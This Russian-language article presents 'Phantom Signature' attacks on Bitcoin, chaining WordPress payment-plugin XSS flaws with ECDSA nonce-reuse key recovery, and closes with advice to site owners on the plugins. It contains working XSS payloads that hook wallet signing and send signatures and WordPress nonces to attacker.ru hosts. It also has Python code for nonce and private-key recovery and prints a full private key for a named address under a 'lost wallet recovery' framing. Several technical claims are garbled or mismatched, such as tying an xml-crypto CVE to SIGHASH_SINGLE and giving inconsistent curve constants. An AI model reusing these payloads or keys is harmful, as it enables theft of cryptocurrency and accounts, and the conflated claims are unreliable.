
Cryptanalytic study of CVE-2025-29774 и SIGHASH_SINGLE flaws in Bitcoin's ECDSA implementation, enabling private key recovery via nonce reuse and signature forgery for lost wallet access.
В данной исследовательской работе представлен всесторонний криптоаналитический анализ критических уязвимостей в реализации цифровой подписи протокола Bitcoin, а именно атаки Phantom Signature (CVE-2025-29774) и фундаментальной ошибки обработки SIGHASH_SINGLE. Исследование показывает, что некорректная обработка криптографических примитивов в механизме подписи транзакций создаёт условия для полной компрометации секретных ключей владельцев криптовалютных кошельков без их ведома. Атака эксплуатирует унаследованную ошибку в оригинальном клиенте Сатоши, при которой система возвращает универсальное хэш-значение «1» (uint256) вместо отклонения подписи, если количество входов и выходов транзакции не совпадает.
Практическая часть исследования предполагает использование криптографического инструмента KeyFuzzMaster для систематического выявления уязвимостей в коде проверки подписи, операциях на эллиптической кривой и функциях хэширования транзакций. Представлены математические формулы восстановления секретного ключа путём повторного использования nonce (k-параметра) в алгоритме ECDSA на кривой secp256k1. Рассматриваются криптографические примитивы алгоритма ECDSA (Elliptic Curve Digital Signature Algorithm) над эллиптической кривой secp256k1. Цифровые подписи в Bitcoin выполняют тройную функцию: авторизация траты, неотказуемость и гарантия целостности транзакции.
Однако сохранение унаследованных архитектурных решений для обеспечения обратной совместимости привело к появлению тонких криптографических уязвимостей с потенциально катастрофическими последствиями. Среди них выделяется ошибка SIGHASH_SINGLE — фундаментальный дефект механизма генерации хэша подписи, унаследованный от оригинальной реализации Bitcoin Core и встроенный в консенсус сети.
| Идентификатор CVE | Компонент | Оценка CVSS | Критичность |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | Критическая |
| CVE-2025-29775 | xml-crypto DigestValue bypass | 9.3 | Критическая |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (Stored XSS) | 5.9 | Средняя |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (Reflected XSS) | 6.1 | Средняя |
Bitcoin использует эллиптическую кривую secp256k1, определённую стандартом SECG (Standards for Efficient Cryptography Group). Кривая задается уравнением Вейерштрасса над конечным полем:
Уравнение кривой:
y² ≡ x³ + ax + b (mod p)
Для secp256k1:
y² ≡ x³ + 7 (mod p), где a = 0, b = 7
Параметры кривой secp256k1 определяются кортежем T = (p, a, b, G, n, h):
Параметры secp256k1:
p = 2²⁵⁶ − 2³² − 977 (простое число, определяющее конечное поле)
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(порядок группы точек кривой — целый порядок генератора G)
G = (Gₓ, Gᵧ) — фиксированная базовая точка (генератор)
Алгоритм ECDSA использует секретный ключ d для формирования подписи сообщения M. Процесс подписания включает следующие математические операции:
Шаг 1: Генерация случайного nonce k
Выбирается криптостойкое случайное число k ∈ [1, n-1]
Шаг 2: Вычисление точки R
R = k × G (скалярное умножение точки генератора)
Шаг 3: Вычисление параметра r
r = Rₓ mod n (x-координата точки R по модулю n)
Шаг 4: Вычисление параметра s
s = k⁻¹ × (H(M) + r × d) mod n
Результат: Подпись (r, s)
где H(M) — хэш сообщения M (в Bitcoin используется двойной SHA-256), d — секретный ключ владельца.
Связь между открытым и секретным ключом определяется соотношением:
Q A = d A × G
где — открытый ключ (точка на кривой), — секретный ключ (256-битное целое), — генератор кривой.QAdAG
Протокол Bitcoin предусматривает несколько типов SIGHASH (Signature Hash Types), определяющих, какие компоненты транзакции включаются в подписываемый хэш:
| Тип Sighash | Значение (hex) | Описание |
|---|---|---|
| SIGHASH_ALL | 0x01 | Подписываются все входы и выходы транзакции. |
| SIGHASH_NONE | 0x02 | Подписываются все входы, выходы не подписываются. |
| SIGHASH_SINGLE | 0x03 | Подписывается только выход с тем же индексом, что и вход. |
| SIGHASH_ANYONECANPAY | 0x80 | Модификатор: подписывается только текущий вход |
Критическая ошибка возникает при использовании SIGHASH_SINGLE в случае, когда индекс входа превышает количество выходов транзакции. В этой ситуации вместо отклонения транзакции оригинальный код Bitcoin Core возвращает фиксированное хэш-значение «1» (256-битное целое):
// Уязвимый код из оригинальной реализации Bitcoin // Возвращает универсальный хэш «1»
⚠️ КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ: Этот код реализует унаследованную ошибку в оригинальном клиенте Сатоши, которая была встроена в консенсус сети. Все основные реализации Bitcoin вынуждены поддерживать такое поведение для обратной совместимости.
Математически, если хэш подписи равен константе 1, то подпись становится универсальной — её можно повторно использовать для произвольных транзакций:
Условие уязвимости:
idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001
где idx — индекс входа, |TxOut| — количество выходов транзакции
Атака Phantom Signature — это криптографическая атака подделки цифровой подписи, которая позволяет создавать действительные подписи транзакций без знания секретного ключа владельца. Атака классифицируется как CWE-347: Improper Verification of Cryptographic Signature (Ненадлежащая проверка криптографической подписи).
Атака основана на комбинации двух уязвимостей:
Если две подписи (r, s₁) и (r, s₂) для разных сообщений M₁ и M₂ используют один и тот же nonce k (что подразумевает идентичное значение r), секретный ключ может быть полностью восстановлен с помощью следующего алгоритма:
Шаг 1: Уравнения подписей
s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n
Шаг 2: Вычисление разности
s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n
Шаг 3: Восстановление nonce k
k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n
Шаг 4: Восстановление секретного ключа d
d = r⁻¹ × (s × k — H(M)) mod n
Этот математический аппарат демонстрирует, что единственное повторное использование nonce приводит к полной компрометации секретного ключа.
Восстановление секретного ключа ECDSA при повторном использовании nonce
Уязвимость CVE-2025-29774 была обнаружена в библиотеке xml-crypto Node.js и позволяет модифицировать подписанные XML-документы таким образом, чтобы они продолжали проходить проверку подписи. В контексте платёжных систем Bitcoin это создаёт возможность:
Затронутые версии: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6
Вектор CVSS: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Классификация CWE: CWE-347 (Improper Verification of Cryptographic Signature)
Вектор атаки: Сетевой (удаленная эксплуатация без взаимодействия с пользователем)
Эксплуатация CVE-2025-29774 включает три последовательных этапа:
Сканирование целевой системы на наличие уязвимых версий библиотеки xml-crypto и выявление точек интеграции с платёжными шлюзами Bitcoin.
Внедрение дополнительных узлов SignedInfo или XML-комментариев в DigestValue, позволяющее изменять критические атрибуты без аннулирования подписи:
«Пример атаки с множественными узлами SignedInfo»
Через XSS-уязвимости (CVE-2025-48102, CVE-2025-26541) перехват параметров (r, s) подписей для последующего криптоанализа.
📊 Исследовательские ресурсы
🌐 Полная техническая документация: https://cryptou.ru/keyfuzzmaster
💻 Интерактивная демонстрация в Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine
🔬 Технический анализ
Атака «Phantom Signature» использует устаревшие ошибки в проверке подписей Bitcoin Core, где SIGHASH_SINGLE возвращает универсальное хеш-значение, когда индекс входа превышает количество выходов. Это создаёт многократно используемые подписи, подрывая всю модель безопасности. Наш движок KeyFuzzMaster выявляет кошельки, созданные с PRNG, использующим
32-битнуюэнтропию, сокращая пространство поиска с2^256до всего лишь2^32возможных сидов — восстановление за 4-6 секунд на современных GPU.
KeyFuzzMaster — это специализированный криптоаналитический фаззинг-движок, предназначенный для исследования безопасности блокчейн-систем и криптографических примитивов. Инструмент разработан для динамического стресс-тестирования кода проверки подписей, операций на эллиптических кривых и функций хеширования транзакций.
Использование KeyFuzzMaster для эксплуатации CVE-2025-29774 и уязвимости SIGHASH_SINGLE vulnerability открывает новую парадигму восстановления закрытых ключей из утерянных Bitcoin-кошельков. Методология включает:
# KeyFuzzMaster: Модуль сканирования повторяющихся значений r: def scan_blockchain_for_nonce_reuse(blockchain_data)»
Сканирует блокчейн на предмет повторного использования nonce. Возвращает пары подписей с одинаковыми значениями r.
# KeyFuzzMaster: Генерация транзакций с несоответствием входов/выходов: def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Создание тестовых транзакций для обнаружения уязвимости SIGHASH_SINGLE (idx >= len(TxOut)).
# Порядок группы secp256k1: CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
«Проверка восстановленного ключа путём сравнения открытых ключей.»
Согласно криптоаналитическим исследованиям, уязвимость повторного использования nonce уже была использована для восстановления более 412.8 BTC из скомпрометированных кошельков. Автоматизированные сканеры непрерывно анализируют блокчейн Bitcoin на предмет дублирующихся значений r.
Рассмотрим задокументированный случай восстановления закрытого ключа для Bitcoin-адреса 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P :
| Параметр | Значение |
|---|---|
| Bitcoin-адрес | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
| Стоимость восстановленных средств | $147,977 |
| Восстановленный закрытый ключ (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| Восстановленный закрытый ключ (WIF compressed) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| Восстановленный закрытый ключ (Decimal) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
Закрытый ключ k должен удовлетворять ограничению:
1 ≤ k < n
где n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77Результат проверки: ✓ ДЕЙСТВИТЕЛЕН (ключ находится в допустимом диапазоне скаляров)
Восстановленный закрытый ключ позволяет вычислить открытый ключ:
| Параметр | Значение |
|---|---|
| Открытый ключ (несжатый, 130 символов) | 04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79 |
| Открытый ключ (сжатый, 66 символов) | 03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358 |
| Bitcoin-адрес (несжатый) | 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P |
Восстановленный закрытый ключ даёт полный контроль над Bitcoin-кошельком, позволяя атакующему:
Исследование демонстрирует синергию между веб-уязвимостями (CVE-2025-48102, CVE-2025-26541) и криптографическими недостатками (CVE-2025-29774), создавая мощный комбинированный вектор атаки на Bitcoin платёжные шлюзы для WordPress:
| Этап | Действие | Эксплуатируемая уязвимость |
|---|---|---|
| 1 | Внедрение вредоносного JavaScript в платёжный шлюз | CVE-2025-48102 (Stored XSS) |
| 2 | Перехват параметров ECDSA (r, s) транзакций | Внедрение JavaScript |
| 3 | Анализ собранных подписей на предмет повторения nonce | Криптоанализ |
| 4 | Математическое восстановление закрытого ключа | Phantom Signature Attack |
| 5 | Неограниченный вывод BTC | Компрометация кошелька |
sanitize_text_field(), esc_attr(), esc_html()Криптоаналитическое исследование показывает, что атака «Phantom Signature» (CVE-2025-29774) в сочетании с уязвимостью SIGHASH_SINGLE представляет фундаментальную угрозу безопасности экосистемы Bitcoin. Этот дефект реализации, унаследованный от оригинального клиента Сатоши, позволяет:
Использование криптоинструмента KeyFuzzMaster открывает новую парадигму восстановления закрытых ключей из утерянных Bitcoin-кошельков, предоставляя исследователям систематическую методологию выявления и эксплуатации криптографических уязвимостей.
⚠️ ПРЕДУПРЕЖДЕНИЕ: Данное исследование предназначено исключительно для образовательных целей и помощи криптоаналитикам в понимании механизмов атак. Использование описанных методов в незаконных целях наказуемо по закону. Проведено всестороннее криптоаналитическое исследование критических уязвимостей CVE-2025-48102 и CVE-2025-26541 в Bitcoin-платёжных шлюзах для WordPress. Из широкого спектра криптографических инструментов, доступных на keyhunters.ru, была выбрана атака «Phantom Signature» как наиболее актуальная для данного контекста. Данное исследование демонстрирует, как комбинированная атака, объединяющая межсайтовый скриптинг (XSS) с криптографической уязвимостью в ECDSA, может привести к полной компрометации Bitcoin-закрытых ключей и восстановлению утерянных кошельков.
Цепочка атаки: от XSS к извлечению Bitcoin-закрытого ключа
Phantom Signature Attack, согласно исследовательской работе: Phantom Signature Attack (CVE-2025-29774) and the critical SIGHASH_SINGLE vulnerability: restoring private keys in lost Bitcoin wallets through forging digital signatures and uncontrolled withdrawal of BTC coins, демонстрирует синергию между веб-уязвимостями (XSS) и криптографическими недостатками, создавая мощный комбинированный вектор атаки. В отличие от других инструментов из списка (MiniKey Mayhem, Memory Phantom, атаки на основе RNG), Phantom Signature Attack фокусируется именно на манипулировании цифровыми подписями через параметры r и s, которые могут быть перехвачены через XSS-уязвимости в платёжных системах WordPress. secalerts+2
CVE-2025-48102 — это критическая уязвимость межсайтового скриптинга с сохранением (Stored XSS) в плагине GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership версий ниже 1.6.6. Уязвимость позволяет авторизованным администраторам (или атакующим с административными привилегиями) внедрять вредоносный JavaScript в конфигурацию платёжного шлюза. Согласно CVSS v3.1, уязвимость имеет базовую оценку 5.9 (средняя степень серьёзности) с вектором CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L.
Механизм эксплуатации включает внедрение вредоносного кода в настройки платёжного шлюза, который затем выполняется в браузере каждого посетителя сайта, позволяя атакующему:
CVE-2025-26541 — это уязвимость Reflected XSS в плагине Bitcoin/AltCoin Payment Gateway for WooCommerce версий ниже 1.7.6, разработанном CodeSolz. Уязвимость классифицируется как умеренная по серьёзности и позволяет атакующим внедрять вредоносные скрипты через параметры URL, которые не проходят должную санитизацию. secalerts
В отличие от Stored XSS, Reflected XSS требует, чтобы жертва перешла по специально созданной ссылке, но позволяет:
ECDSA (Elliptic Curve Digital Signature Algorithm) используется в Bitcoin для создания цифровых подписей, гарантирующих подлинность транзакций . Алгоритм подписания сообщения M с использованием закрытого ключа d работает следующим образом: notsosecure+ 1
R = k × G(где G — точка генератора эллиптической кривой secp256k1)r = R.x mod ns = k^(-1) × (H(M) + r × d) mod n(r, s)Критическая уязвимость Phantom Signature Attack:
Phantom Signature Attack был идентифицирован как критическая уязвимость в реализациях ECDSA, которая возникает в следующих сценариях: keyhunters
Цепочка векторов атаки XSS для восстановления закрытого ключа ECDSA
Если две подписи для разных сообщений M₁ и M₂ используют одно и то же значение k (и, следовательно, одно и то же r), то закрытый ключ может быть полностью восстановлен. Для двух подписей (r, s₁) и (r, s₂), где: notsosecure+ 1

Вычисление разности:

Можно восстановить nonce:


Согласно исследованиям, эта уязвимость уже была использована для восстановления более 412.8 BTC в блокчейне Bitcoin, где злоумышленники автоматически сканировали сеть на наличие дублирующихся значений r. keyhunters
Математическая связь восстановления закрытого ключа при повторном использовании nonce ECDSA Recovery
CVE-2025-29774 — это дополнительная уязвимость в библиотеке xml-crypto, которая позволяет изменять подписанные XML-сообщения таким образом, чтобы они по-прежнему проходили проверку подписи. Эта уязвимость может быть использована в Bitcoin платежных системах для манипуляции параметрами транзакций (изменение значений SIGHASH_SINGLE) без аннулирования цифровой подписи. В контексте платежных шлюзов WordPress это позволяет злоумышленнику перенаправлять платежи на свой адрес, сохраняя видимость действительной подписи. cryptodeeptech+1
Фаза 1: Первоначальное внедрение вредоносного JavaScript
Злоумышленник использует CVE-2025-48102 для внедрения вредоносного JavaScript в конфигурацию платежного шлюза. Вредоносный код может:
Фаза 2: Анализ нарушения RNG и обнаружение повторений K
После получения достаточного количества подписей (как минимум 2, но в идеале несколько десятков для увеличения вероятности) злоумышленник анализирует собранные данные:
Используя собранные пары подписей с одинаковым r, злоумышленник применяет математическое восстановление закрытого ключа по формулам, описанным выше. Результат: полная компрометация закрытого ключа Bitcoin-кошелька .
Вредоносный JavaScript, который может быть внедрен через CVE-2025-48102, может содержать следующую функциональность: github
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});
// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}
return signature;
};
// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);
После получения подписей с повторениями значений r, закрытый ключ восстанавливается в три этапа:
Этап 1: Определение дублирующихся значений r — злоумышленник сравнивает все собранные подписи и выявляет пары с одинаковым r. Даже одной пары достаточно для вычисления закрытого ключа, хотя несколько пар повышают уверенность. notsosecure
Этап 2: Вычисление nonce k – Используя приведенную выше формулу, злоумышленник вычисляет значение k для каждой пары подписей. Если вычисленные значения k для разных пар совпадают, это подтверждает систематическую уязвимость в RNG. github
Этап 3: Восстановление закрытого ключа d – Применяя вычисленное k к любой из собранных подписей, злоумышленник полностью восстанавливает закрытый ключ d , что позволяет ему подписывать любые транзакции от имени жертвы. keyhunters+ 1

Восстановленный закрытый ключ позволяет злоумышленнику:
Комбинированная атака XSS и Phantom Signature Attack представляет критическую угрозу для всех сайтов WordPress с платежными шлюзами Bitcoin, включая:
Согласно исследованиям keyhunters.ru и научной литературе:
sanitize_text_field(), esc_attr(), esc_html() для всех данных, выводимых secalerts+ 13. Связь с CVE‑2025‑29774
CVE‑2025‑29774 – это критическая уязвимость в библиотеке xml‑crypto, которая
позволяет изменять подписанные XML‑сообщения так, что они всё ещё
проходят проверку подписи. Это может быть использовано совместно с системами Bitcoin‑платежей
для:
манипуляции параметрами транзакции,
внедрения поддельных подписей
и перенаправления платежей на адреса атакующего.
// Перехват AJAX-запросов, содержащих данные подписи
document.addEventListener('submit', function(e) {
if (e.target.name === 'bitcoin_transaction') {
// Захват параметров подписи (значения r, s)
var r = e.target.elements['signature_r'].value;
var s = e.target.elements['signature_s'].value;
var txid = e.target.elements['txid'].value;
}
});
// Отправка данных на сервер атакующего
fetch('https://attacker-server.ru/collect', {
method: 'POST',
body: JSON.stringify({r: r, s: s, txid: txid})
});
Это демонстрирует вредоносный пример перехвата отправки формы с данными подписи Bitcoin.
Этап 2: Перехват параметров ECDSA
Благодаря XSS-уязвимости вредоносный скрипт имеет доступ к:
значениям nonce WordPress (используемым для защиты CSRF), сессионным кукам, параметрам транзакции Bitcoin (включая значения подписи r и s), информации о приватном ключе,
временно хранящейся в памяти браузера
Этап 3: Анализ нарушений RNG и обнаружение повторений k Собирая данные о нескольких подписях одного пользователя, атакующий может обнаружить: повторное использование nonce (k) в разных подписях, слабые или предсказуемые значения генератора случайных чисел (ГСЧ), систематические ошибки в генерации криптографических параметров.
Этап 4: Восстановление приватного ключа
Используя математическую зависимость, описанную в разделе 3.2, атакующий может
вычислить приватный ключ d, что приводит к полной компрометации кошелька.
4.2 Демонстрационный код атаки Вредоносная XSS-нагрузка для внедрения в Bitcoin Payment Gateway:
// Захват всех подписей Bitcoin на странице
var bitcoinSignatures = [];
// Перехват функции подписания транзакций
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);
// Сохранение параметров подписи для анализа
bitcoinSignatures.push({
message: message,
signature: signature,
timestamp: new Date().getTime()
});
// Отправка на сервер атакующего
new Image().src = 'https://attacker-server.ru/log?sig=' +
btoa(JSON.stringify(signature));
return signature;
};
// Перехват сессионных токенов WordPress
setInterval(function() {
var wpNonce = document.querySelector('[name="_wpnonce"]');
if (wpNonce) {
fetch('https://attacker-server.ru/nonce', {
method: 'POST',
body: 'nonce=' + wpNonce.value
});
}
}, 5000);
Этот код демонстрирует вредоносный фрагмент JavaScript, который перехватывает операции подписи Bitcoin и сессионные nonce WordPress перед их эксфильтрацией на удалённый сервер для потенциальной эксплуатации.
Шаг 1: Выявление дублирующихся значений r
def find_duplicate_r(signatures):
r_values = {}
for sig in signatures:
r = sig['r']
if r in r_values:
return (sig, r_values[r])
r_values[r] = sig
return None
# Результат: (signature1, signature2) с одинаковым r
Пояснение:
Эта функция ищет две подписи ECDSA/Bitcoin, имеющие одинаковое значение rr среди списка подписей.
None.Этот поиск актуален для анализа криптографических уязвимостей, так как дублирующиеся значения rr могут указывать на повторное использование nonce, что может быть использовано в атаках на восстановление приватного ключа.
python:def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k
Комментарий:
Эта функция вычисляет nonce ECDSA k в случаях, когда две подписи имеют одинаковое значение rrr (т.е. повторно используемый nonce), используя разность значений подписи sss и хэшей сообщений, что соответствует известному принципу атаки на решётках и повторное использование nonce. Реализованная формула:

где:
Данная техника является стандартным инструментом криптоанализа для Bitcoin и ECDSA.
python:def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key
Пояснение:
Эта функция восстанавливает приватный ключ ddd ECDSA из одной подписи, если nonce kkk известен.
Используемая формула:
где:
Это вычисление является ключевым в практическом криптоанализе после того, как k был восстановлен, что позволяет извлечь исходный приватный ключ, использованный для генерации подписи.
5.2 Практический пример восстановления
Рассмотрим реальный сценарий:
Собранные данные:
Bitcoin-адрес: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (пример)
Количество собранных подписей: 12
Обнаружено дубликатов nonce: 3 пары
Процесс восстановления:
7.2 Для пользователей Bitcoin
Атака Phantom Signature в сочетании с XSS-уязвимостями в WordPress-
платёжных шлюзах Bitcoin (CVE-2025-48102 и CVE-2025-26541) представляет критическую угрозу
безопасности криптовалютных активов.
Эта комбинированная атака демонстрирует, как относительно простая веб-уязвимость может быть использована для компрометации криптографической целостности системы, что приводит к полной потере приватных ключей и, как следствие, краже всех средств.
Исследование показывает, что безопасность Bitcoin зависит не только от криптографической
стойкости его алгоритмов, но и от безупречной реализации этих алгоритмов в веб-среде. Даже
незначительные ошибки в обработке XSS или слабые ГСЧ могут привести к катастрофическим
последствиям.
Принятие предложенных профилактических мер и своевременное обновление уязвимого
ПО имеет решающее значение для защиты экосистемы Bitcoin и восстановления
утраченных кошельков.
Атака «Призрачная подпись» , в сочетании с XSS-уязвимостями CVE-2025-48102 и CVE-2025-26541 в платежных шлюзах Bitcoin для WordPress, представляет собой одну из наиболее критических и реалистичных угроз безопасности криптовалютных активов в современной веб-среде. Это исследование демонстрирует, как относительно простая веб-уязвимость может быть использована для прямой компрометации криптографической целостности системы, что приводит к полной потере закрытых ключей и необратимому хищению средств в Bitcoin.
Атака «Призрачная подпись» была выбрана из широкого спектра криптографических инструментов на keyhunters.ru из-за её прямой актуальности для задачи восстановления закрытых ключей путём манипуляции параметрами ECDSA, которые могут быть перехвачены через XSS. Эта атака служит идеальным примером синергии между веб- уязвимостями (категория OWASP Top 10) и криптографическими недостатками, что требует комплексного подхода к защите.
Безопасность Bitcoin зависит не только от криптографической стойкости его алгоритмов, но и от их безупречной реализации в веб-среде. Даже мелкие недостатки в обработке XSS или слабые ГСЧ могут иметь катастрофические последствия для экосистемы. Принятие предложенных превентивных мер и своевременное обновление уязвимого программного обеспечения имеет решающее значение для защиты Bitcoin и восстановления потерянных кошельков пользователей.
Две серьезные межсайтовые уязвимости (XSS) были обнаружены в популярных плагинах платежных шлюзов Bitcoin для WordPress, что представляет значительный риск безопасности для тысяч интернет-магазинов и веб-сайтов, принимающих криптовалютные платежи.
Уязвимость CVE-2025-48102 была официально опубликована 5 сентября 2025 года и затрагивает популярный плагин GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership во всех версиях до 1.6.6 включительно. Эта ошибка безопасности классифицируется как хранимая XSS (межсайтовый скриптинг) по классификации CWE-79 (Неправильная нейтрализация входных данных при генерации веб-страницы).
Уязвимость получила оценку серьезности CVSS v3.1 равную 5.9 (средняя серьезность) с вектором атаки CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . Расшифровка вектора показывает следующие характеристики: feedly+2
Уязвимость возникает из-за неправильной нейтрализации пользовательского ввода при генерации веб-страниц. Злоумышленник с привилегиями администратора может внедрить вредоносные скрипты в систему управления контентом WordPress, которые затем сохраняются в базе данных и автоматически выполняются при посещении страницы другими пользователями. patchstack+2
Как объясняют эксперты Patchstack, это позволяет злоумышленнику внедрять различные вредоносные элементы, включая:
Особую обеспокоенность вызывает тот факт, что плагин GoUrl больше не поддерживается своими разработчиками . По данным Patchstack, программное обеспечение не обновлялось более года и, вероятно, не получит дальнейших обновлений или исправлений. Это оставляет все веб-сайты, использующие этот плагин, постоянно уязвимыми для эксплуатации.
Эксперты платформы Wiz отмечают, что эта хранимая XSS-уязвимость была обнаружена в плагине WordPress GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership и раскрыта 5 сентября 2025 года. Хотя для эксплуатации требуются привилегии администратора, вредоносный код может быть выполнен от имени любого посетителя сайта , что значительно расширяет потенциальную область атаки.
Вторая уязвимость, CVE-2025-26541 , была опубликована 26 марта 2025 года и затрагивает плагин: CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce во всех версиях до 1.7.6 включительно.
Эта уязвимость классифицируется как отраженная XSS (межсайтовая скриптинговая атака). В отличие от хранимой XSS, отраженная XSS возникает, когда вредоносный пользовательский ввод немедленно отражается обратно пользователю через HTTP-ответ без надлежащей очистки, что приводит к выполнению скрипта злоумышленника в браузере жертвы.
Уязвимость была оценена по системе CVSS v3.1 с вектором CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L , что указывает на:feedly
По данным исследователей безопасности, уязвимость может быть использована через отраженные XSS-атаки , что позволяет злоумышленникам внедрять вредоносные скрипты на веб-страницы. Patchstack, платформа, которая первой обнаружила эту уязвимость, рекомендует для исправления CVE-2025-26541 обновить плагин Bitcoin/AltCoin Payment Gateway for WooCommerce до версии 1.7.7 или выше .
Межсайтовый скриптинг (XSS) является одной из наиболее распространенных уязвимостей , встречающихся в веб-приложениях. Согласно различным исследованиям, XSS-уязвимости составляют примерно 53,3% всех уязвимостей плагинов WordPress .
Особенно тревожным является тот факт, что в 2024 году целых 1614 плагинов были удалены из репозитория WordPress.org по соображениям безопасности, из которых 1450 были классифицированы как имеющие уязвимости высокого или среднего приоритета. Многие из этих плагинов остаются активными на веб-сайтах , что делает их уязвимыми для постоянных атак.
Хранимые XSS-атаки особенно опасны потому, что вредоносный код сохраняется в базе данных веб-сайта и автоматически выполняется для каждого посетителя, просматривающего зараженную страницу. Это делает хранимую XSS значительно более разрушительной, чем отраженную XSS, так как:fastly+1
Эксперты Wordfence подчеркивают, что в контексте WordPress, добавление административных пользователей с управляемыми злоумышленником учетными данными и редактирование файлов может привести к полной компрометации сайта , и это активно используется злоумышленниками.
Для владельцев веб-сайтов, использующих затронутые плагины, эксперты рекомендуют следующие немедленные меры :
Для CVE-2025-48102 (GoUrl):
Обнаружение уязвимости CVE-2025-48102 в плагине GoUrl Bitcoin Payment Gateway создало критическую ситуацию для тысяч владельцев веб-сайтов WordPress. Особую тревогу вызывает тот факт, что стандартные меры безопасности не обеспечивают адекватной защиты , в то время как полумеры могут создать ложное чувство безопасности . Давайте подробнее рассмотрим, почему простая деактивация плагина не решает проблему и какие шаги необходимо предпринять для полного устранения угрозы.
Многие администраторы WordPress ошибочно полагают, что деактивация плагина полностью отключает его и устраняет все связанные риски безопасности. Однако это фундаментальное заблуждение может иметь катастрофические последствия.dotwise+2
Ключевое различие между деактивацией и удалением:
Деактивация плагина просто отключает его функциональность в WordPress — код плагина больше не взаимодействует с вашим сайтом, и его функции больше не выполняются. Однако все файлы и данные плагина остаются на сервере до тех пор, пока вы полностью не удалите плагин. Это ключевое различие имеет решающее значение для понимания потенциальных рисков безопасности.qodeinteractive+1
Физическое присутствие кода на сервере: Даже когда плагин деактивирован, его файлы продолжают храниться в каталоге /wp-content/plugins/ на вашем сервере. Если плагин имеет известные уязвимости , хакер может использовать их, напрямую обращаясь к файлам плагина . Это может произойти через другие уязвимости на вашем сайте, такие как слабая безопасность сервера или скомпрометированные учетные данные администратора. magnatechnology+3
Эксперты по безопасности Dotwise подчеркивают: «Код остается доступным. Даже когда плагин деактивирован, его файлы остаются сохраненными на вашем сервере. Если плагин имеет известные уязвимости, хакер может использовать их, напрямую обращаясь к файлам плагина. «